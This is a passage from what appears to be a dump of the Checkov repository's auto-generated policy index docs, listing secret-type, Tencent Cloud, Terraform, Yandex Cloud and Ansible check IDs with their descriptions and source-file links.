| secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7893 | CKV_SECRET_3             | Azure Storage Account access key | secrets                                                                                          | Azure Storage Account access key                                                                                                                                                                         | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7894 | CKV_SECRET_4             | Basic Auth Credentials           | secrets                                                                                          | Basic Auth Credentials                                                                                                                                                                                   | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7895 | CKV_SECRET_5             | Cloudant Credentials             | secrets                                                                                          | Cloudant Credentials                                                                                                                                                                                     | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7896 | CKV_SECRET_6             | Base64 High Entropy String       | secrets                                                                                          | Base64 High Entropy String                                                                                                                                                                               | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7897 | CKV_SECRET_7             | IBM Cloud IAM Key                | secrets                                                                                          | IBM Cloud IAM Key                                                                                                                                                                                        | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7898 | CKV_SECRET_8             | IBM COS HMAC Credentials         | secrets                                                                                          | IBM COS HMAC Credentials                                                                                                                                                                                 | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7899 | CKV_SECRET_9             | JSON Web Token                   | secrets                                                                                          | JSON Web Token                                                                                                                                                                                           | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7900 | CKV_SECRET_11            | Mailchimp Access Key             | secrets                                                                                          | Mailchimp Access Key                                                                                                                                                                                     | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7901 | CKV_SECRET_12            | NPM tokens                       | secrets                                                                                          | NPM tokens                                                                                                                                                                                               | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7902 | CKV_SECRET_13            | Private Key                      | secrets                                                                                          | Private Key                                                                                                                                                                                              | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7903 | CKV_SECRET_14            | Slack Token                      | secrets                                                                                          | Slack Token                                                                                                                                                                                              | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7904 | CKV_SECRET_15            | SoftLayer Credentials            | secrets                                                                                          | SoftLayer Credentials                                                                                                                                                                                    | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7905 | CKV_SECRET_16            | Square OAuth Secret              | secrets                                                                                          | Square OAuth Secret                                                                                                                                                                                      | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7906 | CKV_SECRET_17            | Stripe Access Key                | secrets                                                                                          | Stripe Access Key                                                                                                                                                                                        | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7907 | CKV_SECRET_18            | Twilio API Key                   | secrets                                                                                          | Twilio API Key                                                                                                                                                                                           | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7908 | CKV_SECRET_19            | Hex High Entropy String          | secrets                                                                                          | Hex High Entropy String                                                                                                                                                                                  | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7909 | CKV_TC_1                 | resource                         | tencentcloud_cbs_storage                                                                         | Ensure Tencent Cloud CBS is encrypted                                                                                                                                                                    | Terraform               | [CBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CBSEncryption.py)                                                                                            |\n| 7910 | CKV_TC_2                 | resource                         | tencentcloud_instance                                                                            | Ensure Tencent Cloud CVM instance does not allocate a public IP                                                                                                                                          | Terraform               | [CVMAllocatePublicIp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMAllocatePublicIp.py)                                                                                |\n| 7911 | CKV_TC_3                 | resource                         | tencentcloud_instance                                                                            | Ensure Tencent Cloud CVM monitor service is enabled                                                                                                                                                      | Terraform               | [CVMDisableMonitorService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMDisableMonitorService.py)                                                                      |\n| 7912 | CKV_TC_4                 | resource                         | tencentcloud_instance                                                                            | Ensure Tencent Cloud CVM instances do not use the default security group                                                                                                                                 | Terraform               | [CVMUseDefaultSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultSecurityGroup.py)                                                                  |\n| 7913 | CKV_TC_5                 | resource                         | tencentcloud_instance                                                                            | Ensure Tencent Cloud CVM instances do not use the default VPC                                                                                                                                            | Terraform               | [CVMUseDefaultVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUseDefaultVPC.py)                                                                                      |\n| 7914 | CKV_TC_6                 | resource                         | tencentcloud_kubernetes_cluster                                                                  | Ensure Tencent Cloud TKE clusters enable log agent                                                                                                                                                       | Terraform               | [TKELogAgentEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKELogAgentEnabled.py)                                                                                  |\n| 7915 | CKV_TC_7                 | resource                         | tencentcloud_kubernetes_cluster                                                                  | Ensure Tencent Cloud TKE cluster is not assigned a public IP address                                                                                                                                     | Terraform               | [TKEPublicIpAssigned.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py)                                                                                |\n| 7916 | CKV_TC_8                 | resource                         | tencentcloud_security_group_rule_set                                                             | Ensure Tencent Cloud VPC security group rules do not accept all traffic                                                                                                                                  | Terraform               | [VPCSecurityGroupRuleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py)                                                                        |\n| 7917 | CKV_TC_9                 | resource                         | tencentcloud_mysql_instance                                                                      | Ensure Tencent Cloud mysql instances do not enable access from public networks                                                                                                                           | Terraform               | [CDBInternetService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py)                                                                                  |\n| 7918 | CKV_TC_10                | resource                         | tencentcloud_mysql_instance                                                                      | Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306                                                                                                                      | Terraform               | [CDBIntranetPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py)                                                                                        |\n| 7919 | CKV_TC_11                | resource                         | tencentcloud_clb_instance                                                                        | Ensure Tencent Cloud CLB has a logging ID and topic                                                                                                                                                      | Terraform               | [CLBInstanceLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py)                                                                                          |\n| 7920 | CKV_TC_12                | resource                         | tencentcloud_clb_listener                                                                        | Ensure Tencent Cloud CLBs use modern, encrypted protocols                                                                                                                                                | Terraform               | [CLBListenerProtocol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py)                                                                                |\n| 7921 | CKV_TC_13                | resource                         | tencentcloud_instance                                                                            | Ensure Tencent Cloud CVM user data does not contain sensitive information                                                                                                                                | Terraform               | [CVMUserData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUserData.py)                                                                                                |\n| 7922 | CKV_TC_14                | resource                         | tencentcloud_vpc_flow_log_config                                                                 | Ensure Tencent Cloud VPC flow logs are enabled                                                                                                                                                           | Terraform               | [VPCFlowLogConfigEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py)                                                                          |\n| 7923 | CKV_TF_1                 | module                           | module                                                                                           | Ensure Terraform module sources use a commit hash                                                                                                                                                        | Terraform               | [RevisionHash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionHash.py)                                                                                                     |\n| 7924 | CKV_TF_2                 | module                           | module                                                                                           | Ensure Terraform module sources use a tag with a version number                                                                                                                                          | Terraform               | [RevisionVersionTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionVersionTag.py)                                                                                         |\n| 7925 | CKV_YC_1                 | resource                         | yandex_mdb_clickhouse_cluster                                                                    | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7926 | CKV_YC_1                 | resource                         | yandex_mdb_elasticsearch_cluster                                                                 | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7927 | CKV_YC_1                 | resource                         | yandex_mdb_greenplum_cluster                                                                     | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7928 | CKV_YC_1                 | resource                         | yandex_mdb_kafka_cluster                                                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7929 | CKV_YC_1                 | resource                         | yandex_mdb_mongodb_cluster                                                                       | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7930 | CKV_YC_1                 | resource                         | yandex_mdb_mysql_cluster                                                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7931 | CKV_YC_1                 | resource                         | yandex_mdb_postgresql_cluster                                                                    | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7932 | CKV_YC_1                 | resource                         | yandex_mdb_redis_cluster                                                                         | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7933 | CKV_YC_1                 | resource                         | yandex_mdb_sqlserver_cluster                                                                     | Ensure security group is assigned to database cluster.                                                                                                                                                   | Terraform               | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py)                                                                                       |\n| 7934 | CKV_YC_2                 | resource                         | yandex_compute_instance                                                                          | Ensure compute instance does not have public IP.                                                                                                                                                         | Terraform               | [ComputeVMPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py)                                                                                     |\n| 7935 | CKV_YC_3                 | resource                         | yandex_storage_bucket                                                                            | Ensure storage bucket is encrypted.                                                                                                                                                                      | Terraform               | [ObjectStorageBucketEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py)                                                             |\n| 7936 | CKV_YC_4                 | resource                         | yandex_compute_instance                                                                          | Ensure compute instance does not have serial console enabled.                                                                                                                                            | Terraform               | [ComputeVMSerialConsole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py)                                                                           |\n| 7937 | CKV_YC_5                 | resource                         | yandex_kubernetes_cluster                                                                        | Ensure Kubernetes cluster does not have public IP address.                                                                                                                                               | Terraform               | [K8SPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py)                                                                                                 |\n| 7938 | CKV_YC_6                 | resource                         | yandex_kubernetes_node_group                                                                     | Ensure Kubernetes cluster node group does not have public IP addresses.                                                                                                                                  | Terraform               | [K8SNodeGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py)                                                                               |\n| 7939 | CKV_YC_7                 | resource                         | yandex_kubernetes_cluster                                                                        | Ensure Kubernetes cluster auto-upgrade is enabled.                                                                                                                                                       | Terraform               | [K8SAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py)                                                                                           |\n| 7940 | CKV_YC_8                 | resource                         | yandex_kubernetes_node_group                                                                     | Ensure Kubernetes node group auto-upgrade is enabled.                                                                                                                                                    | Terraform               | [K8SNodeGroupAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py)                                                                         |\n| 7941 | CKV_YC_9                 | resource                         | yandex_kms_symmetric_key                                                                         | Ensure KMS symmetric key is rotated.                                                                                                                                                                     | Terraform               | [KMSSymmetricKeyRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py)                                                                         |\n| 7942 | CKV_YC_10                | resource                         | yandex_kubernetes_cluster                                                                        | Ensure etcd database is encrypted with KMS key.                                                                                                                                                          | Terraform               | [K8SEtcdKMSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py)                                                                               |\n| 7943 | CKV_YC_11                | resource                         | yandex_compute_instance                                                                          | Ensure security group is assigned to network interface.                                                                                                                                                  | Terraform               | [ComputeVMSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py)                                                                           |\n| 7944 | CKV_YC_12                | resource                         | yandex_mdb_clickhouse_cluster                                                                    | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7945 | CKV_YC_12                | resource                         | yandex_mdb_elasticsearch_cluster                                                                 | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7946 | CKV_YC_12                | resource                         | yandex_mdb_greenplum_cluster                                                                     | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7947 | CKV_YC_12                | resource                         | yandex_mdb_kafka_cluster                                                                         | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7948 | CKV_YC_12                | resource                         | yandex_mdb_mongodb_cluster                                                                       | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7949 | CKV_YC_12                | resource                         | yandex_mdb_mysql_cluster                                                                         | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7950 | CKV_YC_12                | resource                         | yandex_mdb_postgresql_cluster                                                                    | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7951 | CKV_YC_12                | resource                         | yandex_mdb_sqlserver_cluster                                                                     | Ensure public IP is not assigned to database cluster.                                                                                                                                                    | Terraform               | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py)                                                                                                 |\n| 7952 | CKV_YC_13                | resource                         | yandex_resourcemanager_cloud_iam_binding                                                         | Ensure cloud member does not have elevated access.                                                                                                                                                       | Terraform               | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py)                                                                         |\n| 7953 | CKV_YC_13                | resource                         | yandex_resourcemanager_cloud_iam_member                                                          | Ensure cloud member does not have elevated access.                                                                                                                                                       | Terraform               | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py)                                                                         |\n| 7954 | CKV_YC_14                | resource                         | yandex_kubernetes_cluster                                                                        | Ensure security group is assigned to Kubernetes cluster.                                                                                                                                                 | Terraform               | [K8SSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py)                                                                                       |\n| 7955 | CKV_YC_15                | resource                         | yandex_kubernetes_node_group                                                                     | Ensure security group is assigned to Kubernetes node group.                                                                                                                                              | Terraform               | [K8SNodeGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py)                                                                     |\n| 7956 | CKV_YC_16                | resource                         | yandex_kubernetes_cluster                                                                        | Ensure network policy is assigned to Kubernetes cluster.                                                                                                                                                 | Terraform               | [K8SNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py)                                                                                       |\n| 7957 | CKV_YC_17                | resource                         | yandex_storage_bucket                                                                            | Ensure storage bucket does not have public access permissions.                                                                                                                                           | Terraform               | [ObjectStorageBucketPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py)                                                         |\n| 7958 | CKV_YC_18                | resource                         | yandex_compute_instance_group                                                                    | Ensure compute instance group does not have public IP.                                                                                                                                                   | Terraform               | [ComputeInstanceGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py)                                                               |\n| 7959 | CKV_YC_19                | resource                         | yandex_vpc_security_group                                                                        | Ensure security group does not contain allow-all rules.                                                                                                                                                  | Terraform               | [VPCSecurityGroupAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py)                                                                       |\n| 7960 | CKV_YC_20                | resource                         | yandex_vpc_security_group_rule                                                                   | Ensure security group rule is not allow-all.                                                                                                                                                             | Terraform               | [VPCSecurityGroupRuleAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py)                                                               |\n| 7961 | CKV_YC_21                | resource                         | yandex_organizationmanager_organization_iam_binding                                              | Ensure organization member does not have elevated access.                                                                                                                                                | Terraform               | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py)                                                           |\n| 7962 | CKV_YC_21                | resource                         | yandex_organizationmanager_organization_iam_member                                               | Ensure organization member does not have elevated access.                                                                                                                                                | Terraform               | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py)                                                           |\n| 7963 | CKV_YC_22                | resource                         | yandex_compute_instance_group                                                                    | Ensure compute instance group has security group assigned.                                                                                                                                               | Terraform               | [ComputeInstanceGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py)                                                     |\n| 7964 | CKV_YC_23                | resource                         | yandex_resourcemanager_folder_iam_binding                                                        | Ensure folder member does not have elevated access.                                                                                                                                                      | Terraform               | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py)                                                                       |\n| 7965 | CKV_YC_23                | resource                         | yandex_resourcemanager_folder_iam_member                                                         | Ensure folder member does not have elevated access.                                                                                                                                                      | Terraform               | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py)                                                                       |\n| 7966 | CKV_YC_24                | resource                         | yandex_organizationmanager_organization_iam_binding                                              | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 7967 | CKV_YC_24                | resource                         | yandex_organizationmanager_organization_iam_member                                               | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 7968 | CKV_YC_24                | resource                         | yandex_resourcemanager_cloud_iam_binding                                                         | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 7969 | CKV_YC_24                | resource                         | yandex_resourcemanager_cloud_iam_member                                                          | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 7970 | CKV_YC_24                | resource                         | yandex_resourcemanager_folder_iam_binding                                                        | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n| 7971 | CKV_YC_24                | resource                         | yandex_resourcemanager_folder_iam_member                                                         | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible.                                                                                          | Terraform               | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py)                                                                         |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/ansible.md",
    "content": "---\nlayout: default\ntitle: ansible resource scans\nnav_order: 1\n---\n\n# ansible resource scans (auto generated)\n\n|     | Id             | Type     | Entity                                                                 | Policy                                                                                                                                                                             | IaC     | Resource Link                                                                                                                                                              |\n|-----|----------------|----------|------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|   0 | CKV_ANSIBLE_1  | resource | [?\"ansible.builtin.uri\" != null][]                                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   1 | CKV_ANSIBLE_1  | resource | [?\"uri\" != null][]                                                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   2 | CKV_ANSIBLE_1  | resource | [].block[?\"ansible.builtin.uri\" != null][]                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   3 | CKV_ANSIBLE_1  | resource | [].block[?\"uri\" != null][]                                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   4 | CKV_ANSIBLE_1  | resource | [].block[].block[?\"ansible.builtin.uri\" != null][]                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   5 | CKV_ANSIBLE_1  | resource | [].block[].block[?\"uri\" != null][]                                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   6 | CKV_ANSIBLE_1  | resource | [].block[].block[].block[?\"ansible.builtin.uri\" != null][]             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   7 | CKV_ANSIBLE_1  | resource | [].block[].block[].block[?\"uri\" != null][]                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   8 | CKV_ANSIBLE_1  | resource | [].tasks[?\"ansible.builtin.uri\" != null][]                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|   9 | CKV_ANSIBLE_1  | resource | [].tasks[?\"uri\" != null][]                                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  10 | CKV_ANSIBLE_1  | resource | [].tasks[].block[?\"ansible.builtin.uri\" != null][]                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  11 | CKV_ANSIBLE_1  | resource | [].tasks[].block[?\"uri\" != null][]                                     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  12 | CKV_ANSIBLE_1  | resource | [].tasks[].block[].block[?\"ansible.builtin.uri\" != null][]             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  13 | CKV_ANSIBLE_1  | resource | [].tasks[].block[].block[?\"uri\" != null][]                             | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  14 | CKV_ANSIBLE_1  | resource | [].tasks[].block[].block[].block[?\"ansible.builtin.uri\" != null][]     | Ensure that certificate validation isn't disabled with uri                                                                                                                         | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                           |\n|  15 | CKV_ANSIBLE_1  | resource | 